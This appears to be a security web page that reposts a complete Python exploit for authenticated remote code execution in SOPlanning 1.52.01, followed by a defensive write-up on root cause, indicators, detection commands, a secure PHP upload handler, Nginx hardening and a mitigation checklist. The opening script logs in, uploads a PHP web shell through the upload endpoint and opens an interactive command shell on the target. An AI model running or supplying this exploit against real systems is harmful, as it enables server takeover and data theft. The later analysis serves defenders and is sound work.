SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution (RCE) (Authenticated)

Exploit Author: cybersploit Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-11-15
# Exploit Title: SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution (RCE) (Authenticated)
# Date: 6th October, 2024
# Exploit Author: Ardayfio Samuel Nii Aryee
# Version: 1.52.01 
# Tested on: Ubuntu

import argparse
import requests
import random
import string
import urllib.parse

def command_shell(exploit_url):
    commands = input("soplaning:~$ ")
    encoded_command = urllib.parse.quote_plus(commands)

    command_res = requests.get(f"{exploit_url}?cmd={encoded_command}")
    if command_res.status_code == 200:
        print(f"{command_res.text}")
        return
    print(f"Error: An erros occured while running command: {encoded_command}")

def exploit(username, password, url):
    target_url = f"{url}/process/login.php"
    upload_url = f"{url}/process/upload.php"
    link_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
    php_filename = f"{''.join(random.choices(string.ascii_lowercase + string.digits, k=3))}.php"

    login_data = {"login":username,"password":password}
    res = requests.post(target_url, data=login_data, allow_redirects=False)

    cookies = res.cookies

    multipart_form_data = {
        "linkid": link_id,
        "periodeid": 0,
        "fichiers": php_filename,
        "type": "upload"
    }

    web_shell = "<?php system($_GET['cmd']); ?>"

    files = {
    'fichier-0': (php_filename, web_shell, 'application/x-php')
    }
    upload_res = requests.post(upload_url, cookies=cookies,files=files, data=multipart_form_data)

    if upload_res.status_code == 200 and "File" in upload_res.text:
        print(f"[+] Uploaded ===> {upload_res.text}")
        print("[+] Exploit completed.")
        exploit_url = f"{url}/upload/files/{link_id}/{php_filename}"
        print(f"Access webshell here: {exploit_url}?cmd=<command>")

        if "yes" == input("Do you want an interactive shell? (yes/no) "):
            try:
                while True:
                    command_shell(exploit_url)
            except Exception as e:
                raise(f"Error: {e}")
        else:
            pass


def main():
    parser = argparse.ArgumentParser(prog="SOplanning RCE", \
            usage=f"python3 {__file__.split('/')[-1]} -t http://example.com:9090 -u admin -p admin")

    parser.add_argument("-t", "--target", type=str, help="Target URL (e.g., http://localhost:8080)", required=True)
    parser.add_argument("-u", "--username",type=str,help="username", required=True)
    parser.add_argument("-p", "--password",type=str,help="password", required=True)
    
    args = parser.parse_args()

    exploit(args.username, args.password, args.target)

main()


SOPlanning 1.52.01 (Simple Online Planning Tool) — Authenticated Remote Code Execution: Analysis, Impact & Mitigation

This article examines a documented authenticated Remote Code Execution (RCE) issue reported against SOPlanning 1.52.01, explains the underlying vulnerability class, describes detection and impact considerations, and provides practical, defensive remediation and secure-coding patterns to mitigate similar file‑upload / execution issues.

Executive summary

  • Type: Authenticated file upload leading to remote code execution.
  • Affected component: server-side file upload handling and storage/execution of uploaded files.
  • Risk: High — attackers with valid credentials can upload a server-side script and execute arbitrary commands.
  • Primary mitigations: remove execution capability from upload directories, validate and sanitize uploads, move uploaded content outside webroot, patch software, and apply least privilege.

What happened — root cause (high level)

The core issue is a classic "unsafe file upload" combined with a web server configuration that allows uploaded files to be executed. In vulnerable deployments an authenticated user could upload a file containing server-side code (for example, PHP) into a publicly served directory. Because the server treated that file as executable, requesting it triggered execution of attacker supplied code on the host.

Root causes typically include one or more of the following:

  • No or insufficient validation of file type (extension or content).
  • Upload directory is inside webroot and files are served/executed directly.
  • File permissions & server configuration permits execution of uploaded files.
  • Lack of output-escaping or filtering allowing special characters in filenames/paths.

Attack vector (conceptual)

An attacker with valid credentials uses the application's upload functionality to store a server-side script (malicious payload) inside a directory that the webserver serves as executable code. The attacker then invokes that script via a web request and causes the server to execute arbitrary system commands or perform other unauthorized actions.

Impact and severity

  • Full server compromise when the web application runs with privileged rights.
  • Data exfiltration, persistence, lateral movement or pivot to internal networks.
  • Compliance and reputational damage — unauthorised code execution is considered a critical severity issue.

Responsible disclosure / immediate steps

  • If you maintain SOPlanning: apply vendor patches or remove/disable the vulnerable upload feature until fixed.
  • If you operate an affected instance: restrict access to the application to trusted users or network zones until mitigations are applied.
  • Perform an incident response check for unexpected files inside upload directories and look for signs of command execution and persistence.
  • Coordinate disclosure with the vendor and follow your organisation's vulnerability handling policy.

Detection and indicators of compromise (IoCs)

For defenders, look for:

  • New or unexpected files with code-like content (e.g., files containing "<?php", "import os", "system(") in upload directories.
  • HTTP requests to upload directories or unusual GET parameters invoking files stored there.
  • Creation timestamps or unusual owner/permission changes in file-storage directories.
  • Unusual process spawns (shells invoked by the web server user) or webserver spawning networking utilities.
# Simple safe search (defensive) — check for files containing common server-side markers
# Run as a defender on the host. This is an investigative pattern, not an exploit.

grep -R --line-number --exclude-dir=.git -E "(<\?php|<\?=|System\.|os\.system\()" /var/www/uploads || true

Explanation: this command searches uploaded files for common server-side code signatures (for example <?php) to detect suspicious uploads. It is intended for defenders to locate possible malicious files — not to exploit anything.

Practical mitigations (server and application level)

  • Move user-uploaded files outside of the webroot so they cannot be directly requested and executed by the webserver.
  • Use a strict whitelist of allowed file types (extensions and MIME types) and validate file content by inspecting magic bytes (finfo).
  • Rename uploaded files to a randomized identifier without the original extension and store mapping metadata in a database if you must serve the file through an application endpoint.
  • Serve uploaded content through a proxy endpoint that sets safe Content-Type headers and never executes content as code. Use read-only permissions when serving.
  • Set restrictive filesystem permissions for upload directories and prevent execution (for example, chmod 0640 and owned by a non-executable user). Configure the webserver to disallow script execution in upload directories.
  • Harden PHP: disable dangerous functions (exec, system, passthru, shell_exec, proc_open) with disable_functions, and use open_basedir to restrict accessible paths.
  • Apply Web Application Firewalls (WAF) with rules tuned to the application, particularly to block suspicious upload requests and webshell signatures.
  • Implement robust authentication and authorization, rate limits on uploads, and CSRF protection on upload forms.

Secure upload handler example (PHP) — defensive pattern

<?php
// Defensive PHP upload example — intended as a secure pattern
// - Only allow specific content types
// - Validate magic bytes using finfo
// - Store uploads outside webroot
// - Use a randomized filename with no executable extension
// - Serve files through a controlled endpoint

$allowedMimes = ['image/jpeg', 'image/png', 'application/pdf'];
$uploadDir = '/var/app/uploads/'; // outside webroot
if (!is_dir($uploadDir)) mkdir($uploadDir, 0700, true);

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $tmp = $_FILES['file']['tmp_name'];
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime = $finfo->file($tmp);

    if (!in_array($mime, $allowedMimes, true)) {
        http_response_code(400);
        echo "Unsupported file type";
        exit;
    }

    // generate a safe random filename; do not preserve original extension that might be executable
    $safeName = bin2hex(random_bytes(16));
    $destination = $uploadDir . $safeName;

    if (!move_uploaded_file($tmp, $destination)) {
        http_response_code(500);
        echo "Failed to store file";
        exit;
    }

    // store mapping in DB if you need original names
    echo "Stored: " . htmlspecialchars($safeName, ENT_QUOTES, 'UTF-8');
}
?>

Explanation: This snippet demonstrates defensive handling by validating MIME types using finfo, storing files outside the document root, using randomized filenames without extensions, and avoiding execution of uploaded content. The goal is to ensure the uploaded content cannot be invoked as server-side code directly.

Web server configuration examples to prevent execution

Use server configuration to ensure uploads cannot be executed. Example patterns:

  • Apache: disable script execution in upload directories (use Options -ExecCGI, RemoveHandler for .php).
  • Nginx: serve uploads from a location that only hands files to the application or serves static content; do not pass upload directories to PHP-FPM.
# Nginx example (defensive)
# Serve files as static content from /var/app/uploads but never pass to PHP handler

location /userfiles/ {
    alias /var/app/uploads/;
    autoindex off;
    sendfile on;
    types { }
    default_type application/octet-stream;
    expires max;
    add_header X-Content-Type-Options nosniff;
}

Explanation: This Nginx configuration serves files from a filesystem directory and explicitly avoids passing requests to a PHP interpreter. The default_type is set to binary and nosniff header prevents browsers from guessing content type.

Detection rules and monitoring suggestions

  • Log and alert on HTTP POSTs that include file uploads to upload endpoints combined with successful 200 responses and subsequent GETs to uploaded filenames.
  • Alert on any uploads containing server-side code markers (e.g., <?php, <%@, #!/bin/bash) using content scanning at ingestion.
  • Monitor process creation by the webserver user (e.g., unexpected shell or netcat executions).

Patch and vendor guidance

If you use SOPlanning or similar software, check for vendor advisories and apply official patches promptly. If the vendor has not provided a fix, implement the mitigations above (application, server configuration and network isolation) and consider temporarily disabling file uploads or limiting the feature to administrators only.

Mitigation checklist for operators

TaskWhy
Move uploads outside webrootPrevents direct execution via web requests
Whitelist content types and inspect magic bytesBlocks disguised scripts
Disable PHP execution in upload dirsReduces risk of remote code execution
Set restrictive FS permissions & ownershipLimits what uploaded code can do
Harden PHP and disable exec-like functionsReduces exploitation surface
Use WAF and network isolationDetects and prevents attack traffic
Scan uploads for malware and code signaturesAutomated defense for suspicious content

Final notes

Authenticated RCE issues via file uploads are among the most dangerous web application vulnerabilities because they enable direct code execution on the server. For any internet-facing application — and particularly scheduling or admin tools — apply defense-in-depth: secure coding, server hardening, patching, monitoring, and least privilege. If you discover an exploit or compromise, follow your incident response process and coordinate disclosure to the vendor so others can be protected.